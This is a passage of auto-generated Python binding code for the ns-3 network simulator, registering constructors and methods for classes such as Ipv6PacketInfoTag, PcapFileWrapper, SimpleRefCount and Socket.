is_const=True, is_virtual=True)
## ipv6-option-header.h (module 'internet'): void ns3::Ipv6OptionRouterAlertHeader::SetValue(uint16_t value) [member function]
cls.add_method('SetValue',
'void',
[param('uint16_t', 'value')])
return
def register_Ns3Ipv6PacketInfoTag_methods(root_module, cls):
## ipv6-packet-info-tag.h (module 'internet'): ns3::Ipv6PacketInfoTag::Ipv6PacketInfoTag(ns3::Ipv6PacketInfoTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6PacketInfoTag const &', 'arg0')])
## ipv6-packet-info-tag.h (module 'internet'): ns3::Ipv6PacketInfoTag::Ipv6PacketInfoTag() [constructor]
cls.add_constructor([])
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## ipv6-packet-info-tag.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6PacketInfoTag::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-packet-info-tag.h (module 'internet'): uint8_t ns3::Ipv6PacketInfoTag::GetHoplimit() const [member function]
cls.add_method('GetHoplimit',
'uint8_t',
[],
is_const=True)
## ipv6-packet-info-tag.h (module 'internet'): ns3::TypeId ns3::Ipv6PacketInfoTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## ipv6-packet-info-tag.h (module 'internet'): uint32_t ns3::Ipv6PacketInfoTag::GetRecvIf() const [member function]
cls.add_method('GetRecvIf',
'uint32_t',
[],
is_const=True)
## ipv6-packet-info-tag.h (module 'internet'): uint32_t ns3::Ipv6PacketInfoTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-packet-info-tag.h (module 'internet'): uint8_t ns3::Ipv6PacketInfoTag::GetTrafficClass() const [member function]
cls.add_method('GetTrafficClass',
'uint8_t',
[],
is_const=True)
## ipv6-packet-info-tag.h (module 'internet'): static ns3::TypeId ns3::Ipv6PacketInfoTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::SetAddress(ns3::Ipv6Address addr) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Ipv6Address', 'addr')])
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::SetHoplimit(uint8_t ttl) [member function]
cls.add_method('SetHoplimit',
'void',
[param('uint8_t', 'ttl')])
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::SetRecvIf(uint32_t ifindex) [member function]
cls.add_method('SetRecvIf',
'void',
[param('uint32_t', 'ifindex')])
## ipv6-packet-info-tag.h (module 'internet'): void ns3::Ipv6PacketInfoTag::SetTrafficClass(uint8_t tclass) [member function]
cls.add_method('SetTrafficClass',
'void',
[param('uint8_t', 'tclass')])
return
def register_Ns3LogNormalVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::LogNormalVariable::LogNormalVariable(ns3::LogNormalVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::LogNormalVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::LogNormalVariable::LogNormalVariable(double mu, double sigma) [constructor]
cls.add_constructor([param('double', 'mu'), param('double', 'sigma')])
return
def register_Ns3NormalVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::NormalVariable::NormalVariable(ns3::NormalVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NormalVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::NormalVariable::NormalVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::NormalVariable::NormalVariable(double m, double v) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 'v')])
## random-variable.h (module 'core'): ns3::NormalVariable::NormalVariable(double m, double v, double b) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 'v'), param('double', 'b')])
return
def register_Ns3Object_methods(root_module, cls):
## object.h (module 'core'): ns3::Object::Object() [constructor]
cls.add_constructor([])
## object.h (module 'core'): void ns3::Object::AggregateObject(ns3::Ptr<ns3::Object> other) [member function]
cls.add_method('AggregateObject',
'void',
[param('ns3::Ptr< ns3::Object >', 'other')])
## object.h (module 'core'): void ns3::Object::Dispose() [member function]
cls.add_method('Dispose',
'void',
[])
## object.h (module 'core'): ns3::Object::AggregateIterator ns3::Object::GetAggregateIterator() const [member function]
cls.add_method('GetAggregateIterator',
'ns3::Object::AggregateIterator',
[],
is_const=True)
## object.h (module 'core'): ns3::TypeId ns3::Object::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## object.h (module 'core'): static ns3::TypeId ns3::Object::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## object.h (module 'core'): void ns3::Object::Start() [member function]
cls.add_method('Start',
'void',
[])
## object.h (module 'core'): ns3::Object::Object(ns3::Object const & o) [copy constructor]
cls.add_constructor([param('ns3::Object const &', 'o')],
visibility='protected')
## object.h (module 'core'): void ns3::Object::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## object.h (module 'core'): void ns3::Object::DoStart() [member function]
cls.add_method('DoStart',
'void',
[],
visibility='protected', is_virtual=True)
## object.h (module 'core'): void ns3::Object::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ObjectAggregateIterator_methods(root_module, cls):
## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator(ns3::Object::AggregateIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Object::AggregateIterator const &', 'arg0')])
## object.h (module 'core'): ns3::Object::AggregateIterator::AggregateIterator() [constructor]
cls.add_constructor([])
## object.h (module 'core'): bool ns3::Object::AggregateIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## object.h (module 'core'): ns3::Ptr<ns3::Object const> ns3::Object::AggregateIterator::Next() [member function]
cls.add_method('Next',
'ns3::Ptr< ns3::Object const >',
[])
return
def register_Ns3ParetoVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(ns3::ParetoVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ParetoVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(double m) [constructor]
cls.add_constructor([param('double', 'm')])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(double m, double s) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 's')])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(double m, double s, double b) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 's'), param('double', 'b')])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(std::pair<double,double> params) [constructor]
cls.add_constructor([param('std::pair< double, double >', 'params')])
## random-variable.h (module 'core'): ns3::ParetoVariable::ParetoVariable(std::pair<double,double> params, double b) [constructor]
cls.add_constructor([param('std::pair< double, double >', 'params'), param('double', 'b')])
return
def register_Ns3PcapFileWrapper_methods(root_module, cls):
## pcap-file-wrapper.h (module 'network'): static ns3::TypeId ns3::PcapFileWrapper::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper::PcapFileWrapper() [constructor]
cls.add_constructor([])
## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Fail() const [member function]
cls.add_method('Fail',
'bool',
[],
is_const=True)
## pcap-file-wrapper.h (module 'network'): bool ns3::PcapFileWrapper::Eof() const [member function]
cls.add_method('Eof',
'bool',
[],
is_const=True)
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Open(std::string const & filename, std::_Ios_Openmode mode) [member function]
cls.add_method('Open',
'void',
[param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Close() [member function]
cls.add_method('Close',
'void',
[])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Init(uint32_t dataLinkType, uint32_t snapLen=std::numeric_limits<unsigned int>::max(), int32_t tzCorrection=ns3::PcapFile::ZONE_DEFAULT) [member function]
cls.add_method('Init',
'void',
[param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='std::numeric_limits<unsigned int>::max()'), param('int32_t', 'tzCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, ns3::Header & header, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('ns3::Header &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file-wrapper.h (module 'network'): void ns3::PcapFileWrapper::Write(ns3::Time t, uint8_t const * buffer, uint32_t length) [member function]
cls.add_method('Write',
'void',
[param('ns3::Time', 't'), param('uint8_t const *', 'buffer'), param('uint32_t', 'length')])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetMagic() [member function]
cls.add_method('GetMagic',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMajor() [member function]
cls.add_method('GetVersionMajor',
'uint16_t',
[])
## pcap-file-wrapper.h (module 'network'): uint16_t ns3::PcapFileWrapper::GetVersionMinor() [member function]
cls.add_method('GetVersionMinor',
'uint16_t',
[])
## pcap-file-wrapper.h (module 'network'): int32_t ns3::PcapFileWrapper::GetTimeZoneOffset() [member function]
cls.add_method('GetTimeZoneOffset',
'int32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSigFigs() [member function]
cls.add_method('GetSigFigs',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetSnapLen() [member function]
cls.add_method('GetSnapLen',
'uint32_t',
[])
## pcap-file-wrapper.h (module 'network'): uint32_t ns3::PcapFileWrapper::GetDataLinkType() [member function]
cls.add_method('GetDataLinkType',
'uint32_t',
[])
return
def register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter< ns3::AttributeAccessor > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter< ns3::AttributeChecker > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::SimpleRefCount(ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter< ns3::AttributeValue > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::SimpleRefCount(ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter< ns3::CallbackImplBase > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::SimpleRefCount(ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter< ns3::EventImpl > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter< ns3::Ipv4MulticastRoute > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter< ns3::Ipv4Route > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Ipv6MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv6MulticastRoute__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter< ns3::Ipv6MulticastRoute > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv6MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6MulticastRoute> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Ipv6Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv6Route__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter< ns3::Ipv6Route > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Ipv6Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv6Route> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::SimpleRefCount(ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter< ns3::NixVector > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::SimpleRefCount(ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter< ns3::OutputStreamWrapper > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::SimpleRefCount(ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter< ns3::Packet > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter< ns3::TraceSourceAccessor > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3Socket_methods(root_module, cls):
## socket.h (module 'network'): ns3::Socket::Socket(ns3::Socket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Socket const &', 'arg0')])
## socket.h (module 'network'): ns3::Socket::Socket() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): int ns3::Socket::Bind(ns3::Address const & address) [member function]
cls.add_method('Bind',
'int',
[param('ns3::Address const &', 'address')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Bind() [member function]
cls.add_method('Bind',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::BindToNetDevice(ns3::Ptr<ns3::NetDevice> netdevice) [member function]
cls.add_method('BindToNetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'netdevice')],
is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Close() [member function]
cls.add_method('Close',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Connect(ns3::Address const & address) [member function]
cls.add_method('Connect',
'int',
[param('ns3::Address const &', 'address')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): static ns3::Ptr<ns3::Socket> ns3::Socket::CreateSocket(ns3::Ptr<ns3::Node> node, ns3::TypeId tid) [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::TypeId', 'tid')],
is_static=True)
## socket.h (module 'network'): bool ns3::Socket::GetAllowBroadcast() const [member function]
cls.add_method('GetAllowBroadcast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Socket::GetBoundNetDevice() [member function]
cls.add_method('GetBoundNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[])
## socket.h (module 'network'): ns3::Socket::SocketErrno ns3::Socket::GetErrno() const [member function]
cls.add_method('GetErrno',
'ns3::Socket::SocketErrno',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Node> ns3::Socket::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::Socket::GetRxAvailable() const [member function]
cls.add_method('GetRxAvailable',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::GetSockName(ns3::Address & address) const [member function]
cls.add_method('GetSockName',
'int',
[param('ns3::Address &', 'address')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): ns3::Socket::SocketType ns3::Socket::GetSocketType() const [member function]
cls.add_method('GetSocketType',
'ns3::Socket::SocketType',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::Socket::GetTxAvailable() const [member function]
cls.add_method('GetTxAvailable',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Listen() [member function]
cls.add_method('Listen',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv(uint32_t maxSize, uint32_t flags) [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv() [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[])
## socket.h (module 'network'): int ns3::Socket::Recv(uint8_t * buf, uint32_t size, uint32_t flags) [member function]
cls.add_method('Recv',
'int',
[param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')])
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(uint32_t maxSize, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
